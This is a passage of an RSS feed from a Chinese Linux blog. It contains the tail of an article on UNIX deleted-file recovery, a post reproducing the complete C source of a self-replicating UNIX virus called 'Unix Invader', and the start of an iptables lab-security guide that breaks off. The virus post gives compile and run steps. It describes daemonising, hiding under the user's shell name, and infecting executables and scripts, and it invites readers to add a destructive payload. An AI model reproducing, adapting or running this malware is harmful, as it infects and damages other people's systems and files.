<p>　　time_t s_time; /*超级块上次修改的时间*/ </p>
<p>　　short s_dinfo[4]; /*设备信息*/ </p>
<p>　　daddr_t s_tfree; /*空闲块总数*/ </p>
<p>　　ino_t s_tinode; /*空闲节点总数*/ </p>
<p>　　char s_fname[6]; /*文件系统名称*/ </p>
<p>　　char s_fpack[6]; </p>
<p>　　long s_fill[13]; /*填空位*/<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　long s_magic; /*指示文件系统的幻数*/ </p>
<p>　　long s_type; /*新文件系统类型*/ </p>
<p>　　}; </p>
<p>　　3. i节点表 </p>
<p>　　i节点表存放在超级块之后，其长度是由超级块中的s_isize字段决定的，其作用是用来描述<br />
文件的属性、长度、属主、属组、数据块表等，其数据结构在/usr/include/sys/ino.h中，如下： </p>
<p>　　struct dinode </p>
<p>　　{ </p>
<p>　　ushort di_mode; </p>
<p>　　short di_nlink; </p>
<p>　　ushort di_uid; </p>
<p>　　ushort di_gid; </p>
<p>　　off_t di_size; </p>
<p>　　char di_addr[40]; </p>
<p>　　time_t di_atime; </p>
<p>　　time_t di_mtime; </p>
<p>　　time_t di_ctime; </p>
<p>　　}; </p>
<p>　　4. 目录结构 </p>
<p>　　UNIX所有文件均存放于目录中，目录本身也是一个文件。目录存放文件的机制如下：首先，<br />
目录文件本身也象普通文件一样，占用一个索引节点，其次，由这个索引节点得到目录内容的<br />
存放位置，再次，从其内容中取出一个个的文件名和它对应的节点号，从而访问一个文件。<br />
目录结构如下： </p>
<p>　　索引节点号(2字节) .(本目录)(14字节) </p>
<p>　　索引节点号(2字节) ..(父目录)(14字节) </p>
<p>　　索引节点号(2字节) 文件名(14字节) </p>
<p>　　索引节点号(2字节) 文件名(14字节) </p>
<p>　　索引节点号(2字节) 文件名(14字节) </p>
<p>　　由上可知文件名是依靠目录来描述的，文件的内容和其他信息则由索引节点来描述。 </p>
<p>　　二、文件的删除过程 </p>
<p>　　UNIX下删除一个文件的过程很简单，那就是释放索引节点表和文件占用的数据块，<br />
清空文件占用的索引节点，但不清除文件内容。但删除文件与删除目录的处理不尽相同，<br />
不同命令删除文件的过程也不相同。 </p>
<p>　　1. 删除一个文件 </p>
<p>　　UNIX 删除一个文件的具体步骤是：根据文件i节点的地址表逐一释放文件占用的磁盘数据块，<br />
然后清空相应的节点，最后释放i节点。 </p>
<p>　　2. 删除一个目录 </p>
<p>　　删除一个目录的过程：首先逐一删除目录里的所有文件，然后删除目录。<br />
目录本身也是一个文件，故删除方法与删除文件一致。 </p>
<p>　　3. 几种不同的删除命令 </p>
<p>　　.rm 命令 </p>
<p>　　一般删除命令，删除过程上述已说明。 </p>
<p>　　.mv命令 </p>
<p>　　格式：mv 文件1 文件2 </p>
<p>　　处理过程是将文件2的数据块释放，然后将文件1的名称改为文件2，再释放文件2所占的i节点。 </p>
<p>　　. &gt; 命令 </p>
<p>　　格式：&gt;文件名 </p>
<p>　　若产生一个新文件，&gt;命令仅仅申请一个i节点，而不写入任何文件内容；若清空一个<br />
已经存在的文件，则释放文件所占的数据块，并将文件长度清零。 </p>
<p>　　三、被删文件的恢复策略 </p>
<p>　　要恢复被删除的文件，只能根据删除后留下的东西去做文章。文件被删除后留下了什么呢？<br />
由上述分析可知：其一、留下了文件的内容；其二、留下了“现场”。文件的恢复策略只能从这<br />
两个方面来分析。以下谈几种恢复策略。 </p>
<p>　　1.根据磁盘现场进行恢复 </p>
<p>　　如果文件被删除，现场未被破坏(即文件被删除后硬盘未发生过写操作)，而且假定只删除了<br />
一个文件，那么可根据系统的分配算法进行恢复。因为系统建立一个文件时，必定根据某一特定<br />
的分配算法决定文件占用的数据块位置。而当该文件被删除后，它所占用的数据块被释放，<br />
又回到系统的分配表中，这时如果重新建立一个文件，系统根据原来的分配算法分配出的数据块<br />
必定跟该文件原来占用的数据块一致，而且我们知道，UNIX文件最后一数据块尾部多出的字节是<br />
全部置0的，据此只要调用系统的数据分配算法，在系统中一块块的申请数据块，因为UNIX文件最后<br />
一个数据块尾部多出的字节全部为0，所以，只要发现一个分配出的数据块中尾部全为0，即可认为<br />
文件结束，由此可确定文件长度和内容，进而实现恢复。方法如下： </p>
<p>　　⑴申请一个索引节点，即向系统申请创建一个新文件名而不写入任何内容。如：#&gt;/tmp/xx </p>
<p>　　⑵调用系统分配数据块算法getnextfreeblock()得到一个数据块号，记入某一地址表变量中。 </p>
<p>　　⑶读出这个数据块，判断其尾部是否全部连续为0，若不是，则回到(2)，若是，则进行(4)。 </p>
<p>　　⑷首先用系统函数fstat得到/tmp/xx的i节点号，然后将(2)步所得的地址表写入索引节点的<br />
地址表中(注意间址问题)，并根据数据块个数和最后一块中有效数据长度计算出文件大小，<br />
写入i节点的di_size字段。 </p>
<p>　　⑸回写系统的索引节点表即可。 </p>
<p>　　需要说明的是，第一，系统分配数据块的算法因不同的UNIX版本而不同；第二，有的UNIX<br />
如SCO UNIX 5.0版，其空闲数据块的分配和回收是使用一种动态链表的数据结构来实现的，<br />
它们的文件恢复更加容易，只要在空闲链表中的表尾去寻找即可，笔者另行描述。 </p>
<p>　　2. 根据内容恢复。 </p>
<p>　　若现场已被破坏，即硬盘发生过写操作，那么只好根据内容来恢复。而且，由于UNIX是<br />
一个多进程、多用户系统，它每一次开关机或硬件、通讯故障等都会记录系统日志、.sh_history等，<br />
硬盘现场被破坏可能性极大。因此讨论按内容恢复的方法具有更大的实用价值。笔者经过实际探索<br />
得出下列四种恢复策略供参考。 </p>
<p>　　⑴关键字搜索法 </p>
<p>　　如果知道被删除的文件内容中若干字节的内容，而且该文件长度又不超过一个磁盘块，<br />
那么可以在整个文件系统中搜索这一字节串，得出一个文件所在的数据块，将它们的块号填入<br />
一个i节点，即可恢复一个文件，搜索文件系统的算法很简单，说明如下： </p>
<p>　　a. #df -k 确定文件系统的设备文件名(如/dev/root) </p>
<p>　　b.用下述函数搜索，若成功，返回数据块号，反之返回-1。其中fsname是文件系统的设备名，<br />
如/dev/root，comp()参数是实现搜索条件的函数。 </p>
<p>　　long searchfs(char *fsname , int comp()) </p>
<p>　　{ </p>
<p>　　FILE *fp; </p>
<p>　　char buf[1024]; </p>
<p>　　long i=0; </p>
<p>　　fp=fopen(fsname,&#8221;r&#8221;); </p>
<p>　　while (!feof(fp)) </p>
<p>　　{ </p>
<p>　　fread(buf,1024,1,fp); </p>
<p>　　if (comp()) /* 检查是否符合搜索条件 */ </p>
<p>　　return i; /* 若成功返回块号 */ </p>
<p>　　i++; </p>
<p>　　} </p>
<p>　　fclose(fp); </p>
<p>　　return -1; /* 未找到符合条件的块，返回-1*/ </p>
<p>　　}<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　⑵精确长度搜索法 </p>
<p>　　如果知道被删除文件的精确长度(字节数)，那么可根据一个数据块的大小，计算出文件的最后<br />
一个数据块中数据的精确长度，该数据块中其他字节必然是全0。根据这一条件，通过搜索整个文件<br />
系统，找出其中符合条件的数据块，若出现多个块符合要求，则还需要根据其他条件区分。<br />
但不管怎样，根据精确长度分析也是恢复数据的一个策略。 </p>
<p>　　⑶内容关联法 </p>
<p>　　如果知道文件内容中存在某种可实现的关联，例如文件的校验和，或者文件内容的某种<br />
上下文关系，那么也可通过搜索整个文件系统，通过反复尝试寻找符合关联条件的磁盘数据块，<br />
进而恢复一个文件。 </p>
<p>　　⑷环境比较法 </p>
<p>　　如果知道删除文件所在的文件系统的安装过程，那么，另行找一台完全相的机器，按原来完全<br />
相同的步骤安装相同版本的UNIX和相应的其他软件，可以想象，新的机器环境会与原来的环境<br />
基本相同，比较两个机器上相同文件系统的内容，可以推断出被删除文件的大致位置，至少<br />
可以大大减少查找的范围，一旦查找的范围足够小时，可以用逐个观察和尝试的方法结合其他<br />
条件恢复数据，降低恢复的难度，增加恢复的可靠性。 </p>
<p>　　UNIX系统下文件系统恢复的具体实现依赖于不同操作系统和不同版本的具体文件系统结构和<br />
磁盘块分配算法。本文试图总结出一种一般性的思路和策略，限于篇幅，不能详细讨论它们的<br />
具体实现过程。 </p>
<p>椐俺所知，FinalData不仅可以进行Windows系统下的数据恢复，也支持Unix系统下的数据恢复。</p>
<p>Solaris比较困难一些，但Linux&amp;BSD应该都比较容易。 </p>
<p>ufs的文件系统，用tct可以很轻松地搞定的。到xfocus去找一个tct试试先。</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/148.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C编写的UNIX病毒</title>
		<link>http://www.evanjiang.net.cn/archives/144.html</link>
		<comments>http://www.evanjiang.net.cn/archives/144.html#comments</comments>
		<pubDate>Sat, 27 Dec 2008 05:35:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[c语言 UNIX 病毒]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=144</guid>
		<description><![CDATA[<p> 
        Unix Invader (入侵者)</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-cut from here &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/
        /*这是一只 UNIX 下的电脑病毒,
        virus name: Unix Invader (入侵者)
        written by NCKU htk</p>
<p> [...]]]></description>
			<content:encoded><![CDATA[<p> <br />
        Unix Invader (入侵者)</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-cut from here &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/<br />
        /*这是一只 UNIX 下的电脑病毒,<br />
        virus name: Unix Invader (入侵者)<br />
        written by NCKU htk</p>
<p>        其特点有:<br />
        1.其具有 daemon process 的特性(lose control tty)<br />
        故该process owner 没在线上,该病毒依旧能作用执行,<br />
        不会被系统终结.<br />
        2.其可感染 UNIX 上 script file 和 各型 binary file<br />
        (当然要属性得宜) ,不重复感染.感染完后,该执行档或<br />
        script file 依旧可执行&#8230;(好像是废话)<br />
        3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用<br />
        该user 的 login shell basename 作为程式名,故,用ps -aux<br />
        (单ps 看不到)或 top 之类的程式,要仔细看,才会被发现&#8230;(有点奸诈)<br />
        4.其不重复长驻,顶多一个 user 一只,目地是为扩大感染能力<br />
        5.其它&#8230;暂时没有.<br />
        6.本来要增加 root kill -9 也杀不死的能力,但,时间有限,且经济<br />
        效益不高所以作罢&#8230;(别跟我说 kill -9 pid 是无敌的,我依然有办法)<br />
        如何实验?<br />
        cp 几个 binary file 到你的 home directory 里,做几个开头字元<br />
        是 # 的 script file &#8230;.<br />
        如何起动?<br />
        1.先把此档案设定为 filename.c<br />
        2. gcc -O -o virus@ filename.c 或 cc -O -o virus@ filename.c<br />
        ^ ^ 很重要一定要有!<br />
        3.然后可能会有些警告讯习,管它&#8230;.,然后,应该会有个 virus@ 档出现<br />
        4. ls -l 看看该(virus@)档案长度多长,记好.<br />
        5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 后面档案<br />
        长度(有标示 here 的地方)<br />
        6.然后重覆第 2.个步骤,然后得到的 virus@ 才是我们要的.<br />
        7.执行它&#8230;ok! <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>        8.你就中毒了(十秒内)&#8230;&#8230;..以后一旦有适合的档案将会马上被感染&#8230;<br />
        其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力<br />
        想个残忍的破坏动作&#8230;&#8230;..有兴趣的人,可以自己去加上&#8230;.<br />
        2.此 virus ,在UNIX 作业系统下执行,故证明一点&#8230;.只要有人类,没有什<br />
        么不可能有 virus 的 environment,方法是人想出来的.<br />
        3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,<br />
        能被此 virus 感染的该帐号,被Crack 的机会是相当高.<br />
        4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,<br />
        其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search<br />
        就可能把整个wrok station 的目录扫完.<br />
        5.此 virus 并不时时扫描目录,内定是 10 秒,唤醒一次,以免被发现&#8230; <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
        6.此 virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定<br />
        是没有用的,所以实验前赶紧搬一搬吧!<br />
        7.任意实验此病毒于公用的工作站是相当不道德的,作者是在自己的 linux上<br />
        实验,您&#8230;自个好自为之,被抓到或被踢除帐号,别怪作者htk<br />
        没先跟你说.<br />
        OK?<br />
        大家好好玩吧!<br />
<span id="more-144"></span><br />
        注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也&#8230;</p>
<p>        */</p>
<p>        /* VIRUS IN UNIX !!!! */<br />
        /* written by NCKU EE htk */<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include</p>
<p>        #define CHK 512<br />
        #define PERM S_IRWXU<br />
        #define CHKT 10<br />
        #define LOADER &#8220;\nrm -f /tmp/.@`whoami`;cat &lt; &#8221;<br />
        #define LOADER2 &#8221; |tail -c 18606 &gt;/tmp/.@`whoami`;chmod 700<br />
        /tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n&#8221;<br />
        /* ^^^^^modify here !!! */<br />
        #define VL 18606<br />
        /* and ^^^^^ here !!! */<br />
        #define VLL -VL</p>
<p>        #define BUFSIZE 25088<br />
        #define BSI 80<br />
        #define EXE 1<br />
        #define SCR 2<br />
        struct flock bk;<br />
        int fo,f,status=NULL;<br />
        int flagn=0;<br />
        void main(argc,argv,envp)<br />
        int argc;<br />
        char *argv[];<br />
        char *envp[];<br />
        {<br />
        char *buf2,*fname;<br />
        static char pidp[BSI]=&#8221;/tmp/.&#8221;;<br />
        static char bufr[BSI]=&#8221;";<br />
        static int dec;<br />
        unsigned int k,kep;<br />
        struct passwd *getp;<br />
        int caller(void);<br />
        int chec(int);<br />
        char *base(char *);<br />
        char *find(void);<br />
        void catch(void);<br />
        int check(char *,int);<br />
        signal(SIGCLD,SIG_IGN);</p>
<p>        strcat(pidp,ecvt((double)getuid(),chec(getuid()),&amp;dec,&amp;dec));</p>
<p>        fname=(char *)tempnam(&#8220;/tmp&#8221;,NULL);<br />
        buf2=(char *)malloc(BUFSIZE);<br />
        if((fo=open(argv[0],O_RDONLY))&lt;0 || (f=creat(fname,PERM))&lt;0) exit(1);<br />
        if((kep=lseek(fo,0L,2))&gt;2*VL)<br />
        {<br />
        lseek(fo,VLL,2);<br />
        k=read(fo,buf2,VL);<br />
        write(f,buf2,k);<br />
        lseek(fo,VL,0);<br />
        while((k=read(fo,buf2,BUFSIZE))&gt;0)<br />
        write(f,buf2,k);<br />
        /* ignore more lefting virus in a tail */<br />
        }<br />
        else<br />
        {<br />
        lseek(fo,VL-kep,2);<br />
        k=read(fo,buf2,kep-VL);<br />
        write(f,buf2,k);<br />
        }<br />
        close(f);<br />
        chmod(fname,S_IRWXU);<br />
        free(buf2);</p>
<p>        if((kep=fork())&gt;0)<br />
        {<br />
        for(k=0;k if(*(argv[0]+k)==&#8217;@') exit(0);<br />
        execve(fname,argv,envp);<br />
        }<br />
        else<br />
        if(kep==0)<br />
        {<br />
        sleep(2);<br />
        unlink(fname);</p>
<p>        for(k=0;k getp=(struct passwd *)getpwuid(getuid());<br />
        strcpy(argv[0],base(getp-&gt;pw_shell));</p>
<p>        /* initialize daemon process &#8230; */</p>
<p>        for(k=0;k&lt;2;k++) close(k);<br />
        umask(0);<br />
        if(fork()!=0)exit(0);<br />
        signal(SIGHUP,SIG_IGN);<br />
        signal(SIGINT,SIG_IGN);<br />
        signal(SIGTTOU,SIG_IGN);<br />
        setpgrp();<br />
        if((kep=open(&#8220;/dev/tty&#8221;,O_RDWR))&gt;=0)<br />
        { ioctl(kep,TIOCNOTTY,(char *)0);<br />
        close(kep);<br />
        }<br />
        if(fork()!=0)exit(0);<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
        signal(SIGUSR1,catch);<br />
        if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))&lt;0) exit(1);<br />
        k=read(kep,bufr,BSI);<br />
        if(k!=0) kill(atoi(bufr),SIGUSR1);</p>
<p>        strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&amp;dec,&amp;dec));<br />
        lseek(kep,0L,0);<br />
        do{<br />
        k=write(kep,bufr,strlen(pidp)+1);<br />
        while((buf2=find())!=NULL)<br />
        {<br />
        getp=(struct passwd *)getpwnam(buf2);<br />
        if(chdir((buf2=(char *)getp-&gt;pw_dir))&lt;0) continue;<br />
        if(ftw(buf2,caller,15)!=0) continue;<br />
        }</p>
<p>        sleep(CHKT);<br />
        setutent();<br />
        lseek(kep,0L,0);<br />
        }while(1);<br />
        }<br />
        }<br />
        int chec(num)<br />
        int num;<br />
        {<br />
        int y=1;<br />
        while((num=(int)(num/10))&gt;=1) y++;<br />
        return(y);<br />
        }<br />
        void catch(void)<br />
        {<br />
        flagn=1;<br />
        }</p>
<p>        char *base(poi)<br />
        char *poi;<br />
        { int i;<br />
        for(i=(strlen(poi)-1);i&gt;=0;i&#8211;)<br />
        if(*(poi+i)==&#8217;/') return((char *)(poi+i+1));<br />
        return(&#8220;sh&#8221;);<br />
        }<br />
        char *find()<br />
        {<br />
        static char name[9]=&#8221;";<br />
        struct utmp *goal;<br />
        goal=(struct utmp *)getutent();<br />
        if(goal-&gt;ut_type==USER_PROCESS)<br />
        {<br />
        strcpy(name,goal-&gt;ut_user);<br />
        return(name);<br />
        }<br />
        if(goal==(struct utmp *)NULL) return(NULL);<br />
        }</p>
<p>        int caller(name,statptr,type)<br />
        char *name;<br />
        struct stat *statptr;<br />
        int type;<br />
        { unsigned int nread,ymode;<br />
        static char load[200];<br />
        char buf[VL],buf3[VL];<br />
        if(type==FTW_F)<br />
        {<br />
        ymode=statptr-&gt;st_mode;<br />
        if(check(name,ymode)&lt;0)<br />
        { if(statptr-&gt;st_uid==getuid()) chmod(name,ymode);<br />
        return(0);<br />
        }<br />
        if( status==SCR )<br />
        {<br />
        strcpy(load,LOADER);<br />
        strcat(load,name);<br />
        strcat(load,LOADER2);<br />
        lseek(f,0L,2);<br />
        write(f,load,strlen(load));<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        write(f,buf,nread);<br />
        }<br />
        if( status==EXE )<br />
        {</p>
<p>        if(statptr-&gt;st_size&gt;VL)<br />
        {<br />
        lseek(f,0L,0);<br />
        nread=read(f,buf,VL);<br />
        lseek(f,0L,2);<br />
        write(f,buf,nread);<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        lseek(f,0L,0);<br />
        write(f,buf,nread);<br />
        }<br />
        else<br />
        {<br />
        lseek(f,0L,0);<br />
        nread=read(f,buf3,VL);<br />
        ymode=nread;<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        lseek(f,0L,0);<br />
        write(f,buf,nread);<br />
        write(f,buf3,ymode);<br />
        }<br />
        }<br />
        /* lseek(f,0L,0);<br />
        lockf(f,F_ULOCK,0); */<br />
        /* author&#8217;s linux library has no above program library */</p>
<p>        bk.l_type=F_UNLCK;<br />
        bk.l_whence=0;<br />
        bk.l_len=0;<br />
        bk.l_start=0;<br />
        fcntl(f,F_SETLK,&amp;bk);</p>
<p>        if(statptr-&gt;st_uid==getuid()) chmod(name,ymode);<br />
        close(f);<br />
        }<br />
        if(flagn) exit(0);<br />
        return(0);<br />
        }<br />
        int check(name,ymode)<br />
        char *name;<br />
        int ymode;<br />
        {<br />
        char ch[CHK];<br />
        char ch2[CHK];<br />
        int rd,i;<br />
        status=(int)NULL;<br />
        if((f=open(name,O_RDWR))&lt;0)<br />
        {<br />
        if(chmod(name,ymode|S_IRUSR|S_IWUSR)&lt;0) return(-1);<br />
        if((f=open(name,O_RDWR))&lt;0) return(-1);<br />
        }<br />
        /* if(lockf(f,F_TLOCK,0)&lt;0) { close(f); return(-1); } */</p>
<p>        bk.l_type=F_WRLCK;<br />
        bk.l_whence=0;<br />
        bk.l_len=0;<br />
        bk.l_start=0;<br />
        if(fcntl(f,F_SETLK,&amp;bk)&lt;0) { close(f); return(-1); }</p>
<p>        lseek(f,0L,0);<br />
        rd=read(f,ch,CHK);<br />
        lseek(fo,0L,0);<br />
        read(fo,ch2,rd);<br />
        for(i=0;i if(ch[i]!=ch2[i])<br />
        {<br />
        if( ch[0]!=&#8217;#&#8217; &amp;&amp; (ymode&amp;(S_IXUSR|S_IXGRP|S_IXOTH)) )<br />
        {<br />
        status=EXE; return(1); }<br />
        else<br />
        if( ch[0]==&#8217;#&#8217; &amp;&amp; lseek(f,0L,2)&gt;VL ) /* you can improve the rule */<br />
        {<br />
        lseek(f,VLL,2);<br />
        rd=read(f,ch,CHK);<br />
        lseek(fo,0L,0);<br />
        read(fo,ch2,rd);<br />
        for(i=0;i if(ch[i]!=ch2[i])<br />
        { status=SCR; return(1); }<br />
        }<br />
        else if(ch[0]==&#8217;#')<br />
        { status=SCR; return(1); }<br />
        break;<br />
        }<br />
        close(f);<br />
        return(-1);<br />
        }</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-virus end&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;*/<</p>
<div><span><br />
</span></div>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/144.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用linux加iptable与squid来构建机房的安全</title>
		<link>http://www.evanjiang.net.cn/archives/136.html</link>
		<comments>http://www.evanjiang.net.cn/archives/136.html#comments</comments>
		<pubDate>Fri, 19 Dec 2008 13:51:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[iptable]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[Linux iptable squid 安全]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=136</guid>
		<description><![CDATA[<p> </p>
<p class="MsoNormal" align="left">eth0是我外网网卡，eth1是我内网网卡</p>
<p class="MsoNormal" align="left">1.建立静态IP/MAC捆绑</p>
<p class="MsoNormal" align="left">方法：建立/etc/ethers文件，其中包含正确的IP/MAC对应关系，格式如下：</p>
<p class="MsoNormal" align="left">[root@test2root]#more/etc/ethers</p>
<p class="MsoNormal" align="left">192.168.10.1800:10:DC:6B:C6:31</p>
<p class="MsoNormal" align="left">192.168.10.11100:10:5C:C0:2B:C1</p>
<p class="MsoNormal" align="left">192.168.10.134C:00:10:A3:38:5D</p>
<p class="MsoNormal" align="left">192.168.10.11300:E0:4C:00:0C:2B</p>
<p class="MsoNormal" align="left">192.168.10.16600:10:DC:61:B4:78</p>
<p class="MsoNormal" align="left">192.168.10.1078:06:18:25:88:40</p>
<p class="MsoNormal" align="left">192.168.10.17300:0F:1F:4D:EC:99</p>
<p class="MsoNormal" align="left">192.168.10.21200:10:DC:6A:C0:C0</p>
<p class="MsoNormal" align="left">192.168.10.2300:07:95:D8:C6:39</p>
<p class="MsoNormal" align="left">然后在/etc/rc.d/rc.local最后添加：arp-f即可实现IP/MAC捆绑</p>
<p class="MsoNormal" align="left">
</p>
<p class="MsoNormal" align="left">2.编写假包上网脚本</p>
<p class="MsoNormal" align="left">[root@test2root]#cat/etc/xxx</p>
<p class="MsoNormal" align="left">#!/bin/bash</p>
<p class="MsoNormal" align="left">echo&#8221;1&#8243;&#62;/proc/sys/net/ipv4/ip_forward</p>
<p class="MsoNormal" align="left">INET_IFACE=&#8221;eth0&#8243;</p>
<p class="MsoNormal" align="left">INET_IP=&#8221;210.75.18.36&#8243;</p>
<p class="MsoNormal" align="left">LAN_IFACE=&#8221;eth1&#8243;</p>
<p class="MsoNormal" align="left">LAN_IP=&#8221;192.168.10.2&#8243;</p>
<p class="MsoNormal" align="left">LAN_IP_RANGE=&#8221;192.168.10.0/24&#8243;</p>
<p class="MsoNormal" align="left">IPT=&#8221;/sbin/iptables&#8221;</p>
<p class="MsoNormal" align="left">/sbin/depmod-a</p>
<p class="MsoNormal" align="left">/sbin/modprobeip_tables</p>
<p [...]]]></description>
			<content:encoded><![CDATA[<p> </p>
<p class="MsoNormal" align="left"><span lang="EN-US">eth0</span><span>是我外网网卡，<span lang="EN-US">eth1</span>是我内网网卡</span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">1.</span><span>建立静态<span lang="EN-US">IP/MAC</span>捆绑</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>方法：建立<span lang="EN-US">/etc/ethers</span>文件，其中包含正确的<span lang="EN-US">IP/MAC</span>对应关系，格式如下：</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2root]#more/etc/ethers</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.1800:10:DC:6B:C6:31</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.11100:10:5C:C0:2B:C1</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.134C:00:10:A3:38:5D</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.11300:E0:4C:00:0C:2B</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.16600:10:DC:61:B4:78</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.1078:06:18:25:88:40</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.17300:0F:1F:4D:EC:99</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.21200:10:DC:6A:C0:C0</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">192.168.10.2300:07:95:D8:C6:39</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span>然后在<span lang="EN-US">/etc/rc.d/rc.local</span>最后添加：<span lang="EN-US">arp-f</span>即可实现<span lang="EN-US">IP/MAC</span>捆绑</span></p>
<p class="MsoNormal" align="left"><span><span id="more-136"></span><br />
</span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">2.</span><span>编写假包上网脚本</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">[root@test2root]#cat/etc/xxx</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">#!/bin/bash</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">echo&#8221;1&#8243;&gt;/proc/sys/net/ipv4/ip_forward</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">INET_IFACE=&#8221;eth0&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">INET_IP=&#8221;210.75.18.36&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">LAN_IFACE=&#8221;eth1&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">LAN_IP=&#8221;192.168.10.2&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">LAN_IP_RANGE=&#8221;192.168.10.0/24&#8243;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">IPT=&#8221;/sbin/iptables&#8221;</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/depmod-a</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeip_tables</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeiptable_nat</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeip_nat_ftp</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeipt_mac</span><span lang="EN-US"></span></p>
<p class="MsoNormal" align="left"><span lang="EN-US">/sbin/modprobeipt_state</span><span lang="EN-US"></span></p>
